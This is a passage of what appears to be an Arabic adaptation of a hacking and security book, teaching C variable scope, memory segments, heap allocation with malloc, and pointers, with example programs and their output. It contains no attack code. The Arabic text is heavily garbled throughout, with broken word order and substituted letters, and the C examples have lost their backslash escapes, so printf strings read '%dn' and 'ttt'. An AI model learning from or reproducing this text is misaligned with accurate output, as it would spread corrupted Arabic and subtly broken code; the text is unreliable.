‫لل‬ ‫يتسنى‬ ‫كي‬ ‫عملها‬ ‫من‬
main( )
‫ال‬ ‫تنفيذ‬ ‫استكامل‬
instruction
‫ال‬ ‫قامت‬ ‫أن‬ ‫بعد‬ ‫ولكن‬ ،!‫الثالث‬
func1
‫قيمة‬ ‫بطباعة‬
i
‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫قامت‬ ،
call
‫اىل‬
‫ال‬
func2
،
‫قيمة‬ ‫ة‬َ‫باع‬‫ط‬‫ب‬ ‫َقوم‬‫ت‬‫ل‬
i
ً‫ا‬‫أيض‬
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[58]
‫أن‬ ‫الحظ‬
func1
‫ال‬ ‫ستنتظر‬
func2
‫الثالث‬ ‫السطر‬ ‫تنفيذ‬ ‫باستكامل‬ ‫تقوم‬ ‫كي‬ ‫عملها‬ ‫من‬ ‫تنتهي‬ ‫أن‬ ‫لىل‬
،‫ِبا‬
‫يعود‬ ‫م‬َ‫ث‬ ‫ن‬‫وم‬
‫ال‬
pointer
‫ال‬ ‫لىل‬
main( )
.
ً‫ا‬‫أيض‬ ‫قامت‬ ‫لكن‬
func2
‫بعمل‬
call
‫لل‬
func3
‫الثاين‬ ‫السطر‬ ‫يف‬
..
‫قيام‬ ‫بعد‬
func3
‫بط‬
‫قيمة‬ ‫باعة‬
i
!‫توقفت‬
..
‫ال‬ ‫قعاد‬
‫بالرتتيب‬ ‫صعد‬ ‫كام‬ ‫بالرتتيب‬ ‫تسلسل‬
،
‫ال‬ ‫يعود‬ ‫حيث‬
pointer
‫ال‬ ‫لىل‬
func2
‫الثالث‬ ‫السطر‬ ‫بتنفيذ‬ ‫لتقوم‬
..
‫ال‬ ‫لىل‬ ‫ينتقل‬ ‫ثم‬
func1
َ‫ت‬‫ل‬
‫لدهيا‬ ‫الثالث‬ ‫السطر‬ ‫بطباعة‬ ‫قوم‬
..
‫اىل‬ ‫أطرى‬ ً‫ة‬‫مر‬ ‫ينتقل‬ ‫ثم‬
‫ال‬
main( )
‫ال‬ ‫بتنفيذ‬ ‫النهاية‬ ‫يف‬ ‫تقوم‬‫ل‬
instruction
‫اال‬
‫ة‬َ‫يم‬‫ق‬ ‫ع‬َ‫ب‬‫َط‬‫ت‬ ُ
‫حيث‬ ‫طرية‬
i
‫وذو‬ ً‫ا‬‫د‬ّ‫د‬ ُ
‫جم‬
3
،
‫يب‬ ‫واآلن‬
‫قهمت‬ ‫أنك‬ ‫دو‬
!‫النتائج‬ ‫ستكون‬ ‫كيف‬
.
‫قيمة‬ ‫اطتالف‬ ‫الحظ‬
i
‫من‬
function
‫ذيئة‬ ‫عىل‬ ‫تعريفها‬ ‫يتم‬ ‫ألنه‬ ‫ألطرى‬
local variable
‫لكل‬
function
.!‫حده‬ ‫عىل‬
ُ‫ن‬‫ل‬
‫نظرة‬ ‫لق‬
‫النتائج‬ ‫عىل‬
:
reader@hacking:~/booksrc $ gcc scope.c
reader@hacking:~/booksrc $ ./a.out
[in main] i = 3
[in func1] i = 5
[in func2] i = 7
[in func3] i = 11
[back in func2] i = 7
[back in func1] i = 5
[back in main] i = 3
reader@hacking:~/booksrc $
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[59]
‫ال‬ ‫منا‬‫ه‬َ‫ق‬ ‫لقد‬
“Local Variables”
..
‫بنا‬ ‫ذيا‬
‫ل‬
‫ال‬ ‫لىل‬ ‫ننتقل‬
“Global Variables”
..
‫ال‬ َ
‫َرب‬‫ت‬‫ُع‬‫ت‬
variable
‫نوع‬ ‫من‬
“global”
‫الكود‬ ‫بداية‬ ‫يف‬ ‫تعريفها‬ ‫تم‬ ‫لذا‬
‫ال‬ ‫مجيع‬ ‫طارج‬ ،
functions
.
‫تأمل‬
:‫املثال‬ ‫ذذا‬
#include <stdio.h>
int j = 42; // j is a global variable.
void func3() {
int i = 11, j = 999; // Here, j is a local variable of func3( ).
printf("ttt[in func3] i = %d, j = %dn", i, j);
}
void func2() {
int i = 7;
printf("tt[in func2] i = %d, j = %dn", i, j);
printf("tt[in func2] setting j = 1337n");
j = 1337; // Writing to j (this is not local variable!)
func3();
printf("tt[back in func2] i = %d, j = %dn", i, j);
}
void func1() {
int i = 5;
printf("t[in func1] i = %d, j = %dn", i, j);
func2();
printf("t[back in func1] i = %d, j = %dn", i, j);
}
int main() {
int i = 3;
printf("[in main] i = %d, j = %dn", i, j);
func1();
printf("[back in main] i = %d, j = %dn", i, j);
}
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[60]
‫بال‬ ‫نبدأ‬
main( )
:
‫ال‬ ‫دالة‬ ‫تقوم‬
printf
‫بطباعة‬
(i=3)
‫و‬
(j=42)
‫ألن‬
j
‫قهي‬ ‫يشء‬ ‫أي‬ ‫قبل‬ ..‫قوق‬ ‫تعريفها‬ ‫تم‬
global variable
‫هلا‬ ‫أن‬ ‫أي‬ ،
‫ال‬ ‫يف‬ ‫ع‬‫موض‬
memory
‫ال‬ ‫جلميع‬ ‫مكن‬ُ‫ي‬ ‫بحيث‬
functions
.!‫لليه‬ ‫تصل‬ ‫أن‬
‫ال‬ ‫بعكس‬
“local variables”
‫يتم‬ ‫حيث‬
‫ال‬ ‫حمتويات‬ ‫مع‬ ‫ختزينها‬
function
‫اخلاص‬
‫ة‬
.‫ققط‬ ‫ِبا‬
..‫هم‬ُ‫مل‬‫ا‬
‫ال‬ ‫لىل‬ ‫ننتقل‬
func2
‫تعريف‬ ‫تم‬ ‫حيث‬
(local var i)
‫وطباعة‬ ‫طباعته‬ ‫يتم‬..
(
j = 42
)
‫الهنا‬ ،
global
.
!‫عجيب‬ ‫يشء‬ ‫ث‬ُ‫حيد‬ ‫م‬ُ‫ث‬
.
‫ال‬ ‫قيمة‬ ‫بتعديل‬ ‫سنقوم‬
(
global var j
،)
‫كتبنا‬ ‫عندما‬ ‫وذلك‬
(j = 1337)
‫يف‬ ‫ُرذا‬‫ك‬‫َذ‬‫ن‬ ‫أن‬ ‫بدون‬
‫ال‬ ‫بداية‬
func2
‫بصيغة‬
j”
“int
‫ال‬ ‫صيغة‬ ‫قهذه‬..
local vars
.
‫قيمة‬ ‫يف‬ ‫تعديل‬ ‫حدث‬ ‫واآلن‬
“j”
‫أصبحت‬ ‫ققد‬
1337
‫من‬ ً‫ال‬‫بد‬
42
.
‫ال‬ ‫اىل‬ ‫ننتقل‬
func3
‫من‬ ً‫ال‬‫ك‬ ‫تعريف‬ ‫تم‬ ‫حيث‬
(
i
‫و‬
j
)
‫أهنم‬ ‫عىل‬
local vars
،
‫استخدمنا‬ ‫ققد‬
j
‫قيمة‬ ‫وأعطيناذا‬ ً‫ا‬‫داطلي‬ ‫نا‬ُ‫ذ‬
‫ذي‬
999
‫ال‬ ‫سيقوم‬ ‫وبالتايل‬ ،
compiler
‫ال‬ ‫باستخدام‬
j
‫ك‬ ‫تعريفها‬ ‫تم‬ ‫التي‬
local
‫ال‬ ‫تلك‬ ‫عن‬
global
‫مع‬ ‫له‬ُ‫م‬‫تعا‬ ‫أثناء‬
func3( )
.
.
‫ال‬ ‫لىل‬ ‫ة‬َ‫د‬‫و‬َ‫ع‬‫ال‬ ‫أثناء‬ ‫م‬ُ‫ث‬
func2( )
‫ت‬َ‫ي‬ َ
‫س‬
‫ال‬ ‫مع‬ ‫ل‬ُ‫م‬‫َعا‬‫ت‬‫ال‬ ‫م‬
“j”
‫ال‬
global
‫لىل‬ ‫تها‬َ‫قيم‬ ‫َغيري‬‫ت‬‫ب‬ ‫منا‬ُ‫ق‬ ‫التي‬
1337
‫قبل‬
‫ال‬ ‫ل‬َ‫م‬َ‫ع‬
call
‫لل‬
func3( )
‫قيمة‬ ‫ع‬َ‫ب‬‫َط‬‫ن‬َ‫ق‬ ،ً‫ة‬‫بارش‬ُ‫م‬
i
‫و‬
j
ً‫ا‬‫دد‬ ُ
‫جم‬
..
‫ال‬ ‫تنتهي‬ ‫م‬ُ‫ث‬
func2( )
‫ال‬ ‫عود‬َ‫ي‬‫ل‬ ‫ها‬‫ل‬َ‫م‬َ‫ع‬ ‫من‬
“instruction pointer”
‫ال‬ ‫لىل‬
Caller function
‫وذي‬
func1( )
..
،ً‫ا‬‫وحتديد‬
‫لىل‬ ‫العودة‬ ‫ثم‬ ‫تنفيذه‬ ‫يتم‬ ،‫قيها‬ ‫سطر‬ ‫آطر‬
‫ال‬
main( )
‫ال‬ ‫ذي‬ ‫ألهنا‬ ،‫أطرى‬ ً‫ة‬‫مر‬
caller
‫لل‬ ‫األسايس‬
func1( )
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[61]
:‫النتائج‬
reader@hacking:~/booksrc $ gcc scope2.c
reader@hacking:~/booksrc $ ./a.out
[in main] i = 3, j = 42
[in func1] i = 5, j = 42
[in func2] i = 7, j = 42
[in func2] setting j = 1337
[in func3] i = 11, j = 999
[back in func2] i = 7, j = 1337
[back in func1] i = 5, j = 1337
[back in main] i = 3, j = 1337
reader@hacking:~/booksrc $
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[62]
Memory Segmentation
‫ج‬ ُ‫لنخر‬ ‫ذيا‬
‫لىل‬
.!‫آطر‬ ‫قاصل‬
.
‫لق‬َ‫ع‬َ‫ت‬ُ‫مل‬‫ا‬ ‫األمور‬ ‫بعض‬ ‫عن‬ ‫م‬ّ‫ل‬‫َك‬‫ت‬َ‫ن‬ َ
‫س‬
‫ة‬
‫بال‬
memory segmentation
.
‫ال‬ ‫عن‬ ‫قبل‬ ‫من‬ ‫تكلمنا‬ ‫قد‬ ‫ُنا‬‫ك‬
x86 architecture
،
‫ال‬ ‫ذذا‬ ‫عن‬ ‫سنتكلم‬
architecture
‫الثال‬ ‫الباب‬ ‫يف‬ ً‫ا‬‫ق‬‫الح‬ ُ‫ه‬‫ن‬َ‫ع‬ ‫وسنتكلم‬ ،‫األمور‬ ‫عض‬َ‫ب‬ ‫َوضيح‬‫ت‬‫ل‬ ً‫ا‬‫د‬ّ‫َد‬ ُ
‫جم‬
ً‫ا‬‫أيض‬ ‫ث‬
.
‫َرى‬‫ت‬ ‫َام‬‫ك‬
‫كونات‬ُ‫م‬ ‫ثالثة‬ ‫ن‬‫م‬ ‫ن‬ّ‫تكو‬َ‫ي‬ ‫هو‬َ‫ق‬
hardware
:
 The central processing unit (CPU) executes code.
 The main memory of the system (RAM) stores all data and code.
 An input/output system (I/O) interfaces with devices such as hard drives, Keyboards, and
monitors.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[63]
‫َن‬‫ن‬‫ل‬
‫ال‬ ‫لىل‬ ‫ل‬‫تق‬
Main Memory
‫ُريد‬‫ن‬ ‫ما‬ َ‫ي‬‫ه‬َ‫ق‬
‫ه‬
.‫اآلن‬
‫ال‬ ‫م‬‫ُقس‬‫ت‬
RAM
:‫وذي‬ ‫أساسية‬ ‫أقسام‬ ‫أربعة‬ ‫اىل‬
Data, Code, Heap, and Stack
‫ال‬ ‫يوضح‬ ‫شكل‬ ‫ماييل‬
Main Memory
‫ال‬ ‫وبعض‬
Sections
،‫ها‬‫ل‬‫داط‬‫ب‬
.‫منهم‬ ‫كل‬ ‫وظيفة‬ ‫برشح‬ ‫لنشاءاهلل‬ ‫سنقوم‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[64]
Data
‫ال‬ ‫ن‬ َ‫ز‬ َ‫ُم‬ ‫ذو‬ ‫ذذا‬
Values
‫ند‬‫ع‬
‫ل‬َ‫م‬َ‫ع‬ ‫م‬‫ت‬َ‫ي‬ ‫ما‬
load
‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬ .‫للربنامج‬
values
‫تكون‬ ‫أن‬ ‫لما‬
Static values
‫أهنا‬ ‫بمعنى‬
‫ال‬
‫الربنامج‬ ‫ل‬َ‫م‬َ‫ع‬ ‫أثناء‬ ‫تتغري‬
.
‫ال‬ ‫وذو‬ ‫اآلطر‬ ‫النوع‬ ‫أو‬
Global values
‫ألي‬ ‫متاحة‬ ‫قيم‬ ‫أهنا‬ ‫وذو‬
function
‫داطل‬
.‫الربنامج‬
‫بال‬ ‫نعني‬ ..‫صغرية‬ ‫مالحظة‬ ‫ذناك‬ ‫لكن‬
“Data”
‫ذذه‬ ‫ن‬‫م‬ ٍّ‫أي‬ ‫أن‬
‫عمل‬ ‫تم‬ ‫قد‬ ‫تغريات‬ُ‫مل‬‫ا‬ ‫ن‬‫م‬ ‫األنواع‬
initialized
‫بقيمة‬ ‫هلا‬
‫حمدد‬
‫ة‬
‫ال‬ ‫يف‬ ‫بوضعها‬ ‫سنقوم‬ ،
"
Section
Data
."
‫دد‬ ُ
‫حم‬ ‫بقيمة‬ ‫ُعرقها‬‫ن‬ ‫مل‬ ‫لذا‬ ‫أما‬
‫ة‬
‫لىل‬ ‫ستذذب‬ ،!‫ذنا‬ ‫وضعها‬ ‫يتم‬ ‫قلن‬
section
‫يسمى‬ ‫آطر‬
“Bss Section”
.
‫ال‬ ‫بني‬ ‫الفرق‬
initialized
‫وال‬
uninitialized
:
int global_var;
int global_initialized_var = 5;
‫يف‬
‫األوىل‬ ‫احلالة‬
‫ال‬ ‫قسم‬ ‫يف‬ ‫املتغري‬ ‫ذذا‬ ‫ختزين‬ ‫سيتم‬
"
Bss
"
َ
‫َرب‬‫ت‬‫ع‬ُ‫ي‬ ‫ألنه‬
Uninitialized variable
.
‫يف‬ ‫أما‬
‫الثانية‬ ‫احلالة‬
‫ذي‬ ‫قيمة‬ ‫بإعطائه‬ ‫منا‬ُ‫ق‬ ‫قنحن‬
(
5
،)
‫ق‬
‫أصبح‬
"
initialized var
،"
‫ال‬ ‫قسم‬ ‫يف‬ ‫ختزينه‬ ‫سيتم‬ ‫وبالتايل‬
"
Data
."
Code or Text Section
‫ال‬ ‫لليه‬ ‫يذذب‬ ‫الذي‬ ‫املكان‬ ‫ذو‬ ‫ذذا‬
Compiled Code
‫ال‬ ‫عىل‬ ‫حيتوي‬ ‫قهو‬
instructions
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[65]
Heap
‫ذذ‬
‫ه‬
‫ال‬
Segment
‫مهم‬
‫ة‬
‫قه‬ ،ً‫ا‬‫جد‬
‫ي‬
‫مسؤول‬
‫ة‬
‫ال‬ ‫عن‬
Dynamic memory
‫ال‬ ‫أثناء‬
program execution
.
‫تقوم‬ ‫لهنا‬
‫بعمل‬
allocate
‫لل‬
values
‫نفس‬ ‫ويف‬ ،‫الربنامج‬ ‫عمل‬ ‫أثناء‬ ‫تظهر‬ ‫التي‬ ‫اجلديدة‬
‫بعمل‬ ً‫ا‬‫أيض‬ ‫تقوم‬ ‫الوقت‬
free
‫تفريغ‬ ‫أي‬
‫لل‬
memory
‫بال‬ ‫عليها‬ ‫يطلق‬ ‫هلذا‬ ،!‫لليها‬ ‫بحاجة‬ ‫الربنامج‬ ‫يعد‬ ‫مل‬ ‫التي‬ ‫القيم‬ ‫من‬
"
Dynamic memory
"
‫ألهنا‬
‫تزيد‬
‫املتطلبات‬ ‫عىل‬ ً‫ء‬‫بنا‬ ‫وتنقص‬
.
‫مث‬
‫تصفحات‬ُ‫مل‬‫ا‬ ‫ذلك‬ ‫عىل‬ ً‫ال‬‫ا‬
‫الن‬ ‫نوع‬ ‫وقق‬ ‫الذاكرة‬ ‫ك‬‫تستهل‬ ‫ألهنا‬ ‫بدأ‬َ‫مل‬‫ا‬ ‫ذذا‬ ‫عىل‬ ‫تعتمد‬ َ‫ي‬‫ه‬َ‫ق‬ ،
‫عىل‬ ‫أنت‬ ُ‫ه‬‫متارس‬ ‫الذي‬ ‫شاط‬
‫ى‬‫سم‬ُ‫ي‬ ‫الثغرات‬ ‫من‬ ‫نوع‬ ‫يوجد‬ ..‫االنرتنت‬
“Heap Overflow”
‫عنه‬ ‫القراءة‬ ‫ُك‬‫ن‬‫مك‬ُ‫ي‬
.
Stack
‫ال‬ ‫مع‬ ‫تتعامل‬ ‫أهنا‬ ‫أرشنا‬ ‫وكام‬ ..ً‫ا‬‫مسبق‬ ‫عنها‬ ‫تكلمنا‬ ‫قد‬ ‫ُنا‬‫ك‬
Local Variables
‫وال‬
parameters
‫بال‬ ‫اخلاصة‬
Functions
‫ال‬ ‫بني‬ ‫عالقة‬ ‫وجود‬ ‫ستالحظ‬ .
Heap
‫ال‬ ‫و‬
Stack
،‫طرف‬ ‫يف‬ ‫ام‬ُ‫نه‬‫م‬ ‫كل‬ ‫املساحة‬ ‫نفس‬ ‫يف‬ ‫يتموضعان‬ ‫حيث‬
‫ال‬ ‫تزداد‬ ‫قربام‬ ،!‫للحاجة‬ ً‫ا‬‫وقق‬ ‫صان‬ُ‫ق‬‫ن‬َ‫ي‬‫و‬ ‫زيدان‬َ‫ي‬
stack
‫ال‬ ‫حساب‬ ‫عىل‬
heap
‫لتحسني‬ ‫وذذا‬ ،!‫صحيح‬ ‫والعكس‬ ،
‫ال‬ ‫استغالل‬
memory
.‫املستطاع‬ ‫قدر‬ ‫املساحات‬ ‫يف‬ ‫اهلدر‬ ‫ولتاليف‬
‫ا‬ ‫الحظ‬
‫ل‬
Heap
‫وال‬
Stack
:‫التايل‬ ‫الشكل‬ ‫يف‬
ً‫ا‬‫أيض‬
‫يظهر‬
‫به‬
‫ال‬
"
Bss Section
"
‫ال‬ ‫يف‬ ‫يظهر‬ ‫مل‬ ‫الذي‬
Layout
‫ال‬ ‫َخزين‬‫ت‬‫ل‬ ‫صص‬َ ُ
‫ُم‬ ‫أنه‬ ‫ر‬‫ك‬َ‫َذ‬‫ت‬ ..‫املايض‬
"
Uninitialized variables
"
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[66]
‫ذذا‬ ‫من‬ ‫االنتهاء‬ ‫عىل‬ ‫شارقنا‬ ‫ققد‬ ‫تقلق‬ ‫ال‬ ..‫الربجمية‬ ‫األساسيات‬ ‫الستكامل‬ ‫ديد‬ َ‫ج‬ ‫ن‬‫م‬ ‫َعود‬‫ن‬‫ل‬ ‫ذيا‬
!‫الباب‬
.
The Heap
‫كام‬
‫ذكرنا‬
‫أ‬ ،‫قبل‬ ‫من‬
‫ال‬ ‫ة‬َ‫ق‬‫ري‬َ‫ط‬ ‫ن‬
declare
‫ال‬ ‫يف‬ ‫لما‬ ،ُ‫ه‬ُ‫ع‬‫ض‬َ‫و‬ ‫م‬‫ت‬َ‫ي‬ َ
‫س‬ ‫أين‬ ‫د‬ّ‫د‬َ‫ُح‬‫ت‬‫س‬ ‫التي‬ ‫ذي‬ ‫تغري‬ُ‫للم‬
Bss Segment
‫ال‬ ‫يف‬ ‫أو‬
Data Segment
.
‫ال‬ ‫داطل‬ ‫مساحة‬ ‫حجز‬ ‫أردنا‬ ‫لذا‬ ‫بينام‬
Heap
‫قنستخدم‬
function
‫ى‬َ‫ع‬‫ُد‬‫ت‬
malloc( )
،
‫تستقبل‬ ُ
‫ث‬‫ي‬ َ‫ح‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[67]
‫الدالة‬ ‫ذذه‬ ‫نك‬‫م‬
argument
‫ال‬ ‫وذي‬ ‫وحيده‬
Size
،
‫املساحة‬
‫ال‬ ‫ّن‬‫ك‬َ‫تتم‬ ‫مل‬ ‫ولذا‬ ،‫جزذا‬ َ‫ح‬ ‫د‬َ‫َو‬‫ت‬ ‫التي‬
malloc( )
‫حجز‬ ‫من‬
‫لك‬ ‫ع‬‫ُرج‬‫ت‬ ‫قإهنا‬ ‫املساحة‬ ‫تلك‬
"
Null Pointer with value 0
."
‫وجود‬ ‫دهيي‬َ‫ب‬‫ال‬ َ‫ن‬‫م‬ ً‫ا‬‫أيض‬
Function
‫ال‬ ‫ساحة‬‫م‬ ‫َفريغ‬‫ت‬‫ب‬ ‫َقوم‬‫ت‬ ‫َي‬‫ك‬‫ل‬ ‫ا‬ َ‫هل‬ ‫رة‬‫ناظ‬ُ‫م‬
Heap
..ً‫ا‬‫ق‬‫الح‬ ‫استخدامها‬ ‫ن‬‫م‬ َ
‫ُك‬‫ن‬‫ك‬َ ُ‫مت‬ ‫كي‬
‫عليها‬ ‫ق‬َ‫ل‬‫ط‬ُ‫ي‬
Free( )
.
:‫الدالة‬ ‫شكل‬ ‫ييل‬ ‫ما‬
int array[10];
int * array = malloc(10 * sizeof(int));
‫ال‬ ‫ة‬َ‫غ‬ُ‫ل‬ ‫يف‬
C
،
‫و‬َ‫ق‬‫ال‬ ‫تنفيذ‬ ‫م‬‫ت‬َ‫ي‬
‫اخلارجي‬ ‫م‬ُ‫ث‬ ،ً‫ال‬‫أو‬ ‫الداطيل‬ ‫س‬
..
‫ال‬ ‫ستقوم‬ ‫نا‬ُ‫ذ‬
sizeof( )
‫طلوب‬َ‫مل‬‫ا‬ ‫املساحة‬ ‫ساب‬‫ح‬‫ب‬
‫ة‬
ُ
‫حيث‬
‫طلوب‬َ‫مل‬‫ا‬ ‫ساحة‬‫امل‬ :‫بالتايل‬ ‫تقوم‬
‫ة‬
‫ل‬
One Integer
‫يف‬ ‫مرضوبة‬
10
،
:‫بمعنى‬
"
‫نوع‬ ‫من‬ ‫أرقام‬ ‫عرشة‬ ‫الستيعاب‬ ‫مساحة‬
int
"
.
‫ال‬ ‫تقوم‬ ‫ثم‬
malloc( )
‫ال‬ ‫داطل‬ ‫املساحة‬ ‫بحجز‬
Heap
‫نا‬َ‫ل‬ ‫ع‬‫ُرج‬‫ت‬‫و‬
pointer
‫ال‬ ‫ذذا‬ ‫عنوان‬ ‫لىل‬ ‫شري‬ُ‫ي‬
block
‫ال‬ ‫داطل‬
Heap
‫ال‬ ‫ذذا‬ ،!
pointer
‫سيكون‬ ‫باألعىل‬ ‫مثالنا‬ ‫يف‬
:
*array
.
‫بال‬ ‫متعلقة‬ ‫مالحظة‬ ‫ذناك‬
malloc( )
‫بحجز‬ ‫تقوم‬ ‫قهي‬
‫ال‬ ‫يف‬ ‫ما‬ ٍ‫مساحة‬
Heap
‫بال‬ ‫االذتامم‬ ‫دون‬
Data type
‫راد‬ُ‫مل‬‫ا‬
‫لنا‬ ‫بإرجاع‬ ‫قتقوم‬ ،!ُ‫ه‬‫ل‬ ‫املساحة‬ ‫جز‬ َ‫ح‬
pointer
‫نوع‬ ‫من‬ ‫لكن‬
Void
..
‫ال‬ ‫ذذا‬ ‫ما‬..!‫حلظة‬
void pointer
‫؟‬
..ً‫ا‬‫حسن‬
‫لل‬ ‫الذذاب‬ ‫يمكنك‬
‫التالي‬ ‫فقره‬
‫ة‬
‫بعنوان‬ ‫التي‬
"
void pointer
"
..
‫م‬ُ‫ث‬
‫د‬ُ‫ع‬
.‫جديد‬ ‫من‬ ‫نا‬ُ‫ذ‬ ‫لىل‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[68]
‫وبعد‬ ‫واآلن‬
‫ال‬ َ
‫ت‬‫م‬‫ه‬َ‫ق‬ ‫ن‬َ‫أ‬
void pointer
‫بال‬ ‫اخلاص‬ ‫اإلشكال‬ ‫ذذا‬ ‫ل‬َ‫ح‬‫ب‬ ‫نقوم‬‫ل‬ ‫ذيا‬ ،
malloc( )
.
‫ما‬ ٍ‫يشء‬ ‫بإضاقة‬ ‫سنقوم‬
‫ال‬ ‫نوع‬ ‫عىل‬ ‫للتأكيد‬
data type
‫حجوز‬َ‫مل‬‫ا‬
‫ة‬
‫ال‬ ‫يف‬
heap
‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫سنقوم‬ ‫ببساطة‬ ..
Casting
‫ال‬ ‫ذا‬‫هل‬
void pointer
‫ال‬ ‫لىل‬
data type
.!‫هلا‬ ‫املساحة‬ ‫ز‬‫ج‬ َ‫ح‬ ‫د‬َ‫َو‬‫ن‬ ‫التي‬
‫ذل‬
‫ال‬ ‫نسيت‬
Cast
..‫؟‬
‫لىل‬ ‫بالعوده‬ ،‫احتجت‬ ‫لن‬ ‫راجعته‬ُ‫م‬ ‫ُك‬‫ن‬‫مك‬ُ‫ي‬
‫ال‬ ‫ققرة‬
Typecasting
.
‫بدون‬ ‫األوىل‬ ..‫احلالتني‬ ‫لك‬ ‫يوضح‬ ‫مثال‬ ‫ذذا‬
Cast
‫بال‬ ‫والثانية‬ ،
Cast
.
int * ptr;
ptr = malloc(10 * sizeof(int)); /* without a cast */
ptr = (int *)malloc(10 * sizeof(int)); /* with a cast */
‫ال‬ ‫تفشل‬ ‫األحيان‬ ‫بعض‬ ‫يف‬
malloc( )
‫ال‬ ‫حجم‬ َ
‫رب‬‫ك‬‫ل‬ ‫بام‬ُ‫ر‬ ‫املساحة‬ ‫حجز‬ ‫يف‬
buffer
،‫آطر‬ ‫سبب‬ ‫ألي‬ ‫أو‬ ‫املطلوب‬
‫بعمل‬ ‫يقوم‬ ‫بسيط‬ ‫كود‬ ‫لضاقة‬ ‫مكننا‬ُ‫ي‬ ‫وبالتايل‬
Error checking
‫ال‬ ‫عملية‬ ‫من‬ ‫لنا‬ ‫ليتأكد‬
allocation
.
int * array = malloc(10 * sizeof(int));
if (NULL == array) {
fprintf(stderr, "malloc failedn");
return(-1);
}
‫ال‬ ‫ذذه‬ ‫تعمل‬ ‫كيف‬ ً‫ا‬‫مع‬ ‫لنرى‬
Functions
!‫رائع‬ ‫ثال‬‫م‬‫ب‬
‫و‬ ،
‫األ‬ ‫فاذيم‬َ‫مل‬‫ا‬ ‫ض‬‫ع‬َ‫ب‬‫ل‬ ‫ة‬ َ‫حاج‬‫ب‬ ُ‫َحن‬‫ن‬ ‫لكن‬
‫ولية‬
‫ن‬َ‫َضم‬‫ن‬‫ل‬
‫ال‬
‫م‬‫ه‬َ‫ف‬
‫اجليد‬
.‫ثال‬‫امل‬ ‫ذا‬‫هل‬
‫ال‬ ‫عن‬ ‫َكلمنا‬‫ت‬ ‫د‬َ‫ق‬ ‫ننا‬َ‫أ‬ ‫ر‬‫ك‬َ‫َذ‬‫ت‬
pointers
‫مارأي‬ ،‫نواعها‬َ‫أ‬‫و‬
‫ك‬
‫بإجراء‬
‫مراجع‬
‫ة‬
‫ِسيع‬
‫ة‬
.‫؟‬
..!‫بأس‬ ‫ال‬ .
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[69]
:‫الشكل‬ ‫ذا‬‫هل‬ ‫انتبه‬
‫أن‬ ‫ن‬ُ‫ظ‬‫أ‬
‫نا‬
َ‫ن‬
:ً‫ال‬‫قمث‬ ..‫كذلك؟‬ َ
‫أليس‬ ..ً‫ا‬‫يد‬ َ‫ج‬ ُ‫ه‬‫م‬َ‫فه‬
(i = 3)
،
‫بينام‬
(&i = 65524)
.
‫لنأطذ‬
‫املتغري‬ ‫ذذا‬ ‫عىل‬ ‫مثال‬
i
:
int main()
{
int *ptr, i;
i = 3;
/* address of i is assigned to ptr */
ptr = &i;
/* show i's value using ptr variable */
printf("Value of i : %d", *ptr);
return 0;
}
ّ
‫تغري‬ُ‫م‬ ‫َعريف‬‫ت‬‫ب‬ ‫منا‬ُ‫ق‬
i
‫و‬ ،
pointer
ُ‫ه‬‫اسم‬
ptr
‫ال‬ ‫ذذا‬ ‫جعلنا‬ ‫م‬ُ‫ث‬ ،
pointer
‫ال‬ ‫لىل‬ ‫شري‬ُ‫ي‬
"
address-of i
"
.
‫طباعة‬ ‫أردنا‬ ‫ثم‬
‫ال‬ ‫ذذا‬ ‫حمتويات‬
"
block of memory
"
‫ال‬ ‫لليه‬ ‫شري‬ُ‫ي‬ ‫الذي‬
pointer
،
( ‫الرقم‬ ‫وذو‬
3
‫سنضع‬ ‫نا‬ُ‫ذ‬ ،)
)*(
‫ال‬ ‫قبل‬
pointer
‫ال‬ ‫ل‬‫داط‬ ‫نستدعيه‬ ‫عندما‬
printf( )
،
‫العملية‬ ‫ذذه‬ ‫ُسمى‬‫ت‬‫و‬
“Dereferencing of Pointer”
:‫كاتايل‬ ‫النهاية‬ ‫يف‬ ‫املخرجات‬ ‫وتكون‬
value of i : 3
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[70]
:‫اآليت‬ ‫يف‬ ‫األمر‬ ‫تلخيص‬ ‫نستطيع‬
 (&) symbol is used to get address of variable
 (*) symbol is used to get value from the address given by pointer.
 (*) Symbol when used with Pointer variable it refers to variable being pointed to, this is
called as “Dereferencing of Pointers”.
‫ييل‬ ‫ما‬
‫توضيحي‬ ‫شكل‬
‫أطري‬
:
‫عر‬ ‫نا‬ُ‫ذ‬
‫قنا‬
)
ُ‫ه‬‫لسم‬ ‫تغري‬ُ‫م‬
(num
‫و‬
pointer)
ُ‫ه‬‫لسم‬
(ptr
،‫تغري‬ُ‫مل‬‫ا‬ ‫ذذا‬ ‫لىل‬ ‫شري‬ُ‫ي‬‫ل‬
